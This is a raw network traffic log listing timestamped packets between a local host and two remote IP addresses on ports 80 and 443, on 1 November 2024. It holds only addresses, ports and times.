Nov 1, 2024 05:02:37.325355053 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325364113 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325378895 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325402021 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325418949 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325587034 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325601101 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325638056 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325701952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325735092 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325747013 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325751066 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325773954 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325794935 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.325853109 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325869083 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.325910091 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442074060 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442111969 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442136049 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442143917 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442152977 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442167044 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442176104 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442181110 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442198038 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442205906 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442218065 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442257881 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442718029 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442763090 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442768097 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442776918 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442791939 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442795038 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442817926 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442837954 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442871094 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442913055 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.442929983 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442945004 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.442981958 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443285942 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443336964 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443347931 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443363905 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443386078 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443414927 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443438053 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443454027 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443485975 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443515062 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443535089 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443551064 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443567038 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443578959 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443598032 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443617105 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443876028 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443907022 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.443937063 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.443969965 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.444000959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.444013119 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.444039106 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.444056988 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.559868097 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559911013 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559926033 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559938908 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.559943914 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559962988 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559978962 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.559978962 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560019016 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560048103 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560468912 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560503960 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560516119 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560519934 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560543060 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560550928 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560601950 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560626984 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560642004 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560643911 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560662985 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560672045 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560864925 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560909033 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.560965061 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.560978889 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561043024 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561244011 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561264992 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561280966 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561295986 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561316967 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561347008 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561383963 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561399937 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561429977 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561443090 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561605930 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561620951 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561635971 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.561656952 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561676025 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.561691046 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.562882900 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.656080008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.656207085 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.677629948 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677695036 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677709103 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.677711010 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677727938 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677762985 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677777052 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.677788973 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.677831888 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.677831888 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678280115 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678324938 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678339005 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678370953 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678379059 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678395033 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678407907 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678432941 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678450108 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678487062 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678653955 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678704977 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678719997 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678720951 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678750992 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678801060 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678890944 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678925037 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678939104 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.678993940 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.678993940 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679186106 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679214954 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679236889 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679274082 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679291964 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679320097 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679328918 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679341078 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679342985 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679369926 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679445982 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679533005 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679596901 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679625034 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679691076 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679703951 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.679734945 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.679768085 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.795264959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795322895 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795337915 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795353889 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795404911 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.795404911 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.795466900 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795483112 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795497894 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.795531034 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.795583010 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.796080112 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796118975 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796134949 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796190023 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.796190023 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.796243906 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796258926 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796300888 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796361923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796375990 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796396017 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.796452045 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796483994 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.796508074 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796523094 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.796549082 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797169924 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797195911 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797219038 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797234058 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797257900 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797305107 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797327042 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797343016 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797358036 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797382116 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797473907 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797491074 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797497988 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797508955 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.797518969 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797563076 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.797563076 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.850306988 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:37.850377083 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:37.850552082 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:37.850931883 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:37.850944996 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:37.913245916 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913273096 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913300991 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913310051 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.913342953 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913362026 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913366079 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.913391113 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.913407087 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.913424015 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913501024 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.913794994 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913847923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913861990 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913902044 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913918018 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.913932085 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914066076 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914113998 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914176941 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914191008 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914233923 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914233923 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914244890 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914258003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914659023 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914685965 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914699078 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914711952 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914724112 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914855003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914868116 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914881945 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914913893 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914937019 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914954901 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.914963007 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.914969921 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915000916 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915076971 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915096998 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915133953 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915182114 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915209055 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915258884 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915273905 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915285110 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915330887 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915330887 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:37.915338039 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:37.915421963 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031001091 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031018019 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031069040 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031070948 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031116009 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031132936 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031132936 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031132936 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031161070 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031188965 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031342983 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031610012 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031658888 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031709909 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031749964 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031761885 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031802893 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031819105 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031830072 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031832933 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031860113 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031860113 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031894922 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.031953096 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.031999111 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032013893 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032048941 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032119036 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032480001 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032527924 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032542944 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032615900 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032615900 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032627106 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032672882 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032687902 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032742977 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032742977 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.032753944 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032833099 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032849073 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032877922 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.032902956 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.033046007 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.033076048 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.033097029 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.033113956 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.033138037 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.033180952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.033195972 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.033210039 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.033660889 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.148993969 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149014950 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149049997 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149065971 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149075985 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149082899 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149112940 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149183989 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149496078 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149591923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149606943 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149619102 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149631023 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149646044 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149653912 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149653912 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149671078 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149733067 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149776936 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149790049 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149852037 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149877071 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149884939 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149909019 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.149913073 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.149931908 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150073051 CET	59861	80	192.168.2.5	185.215.113.16
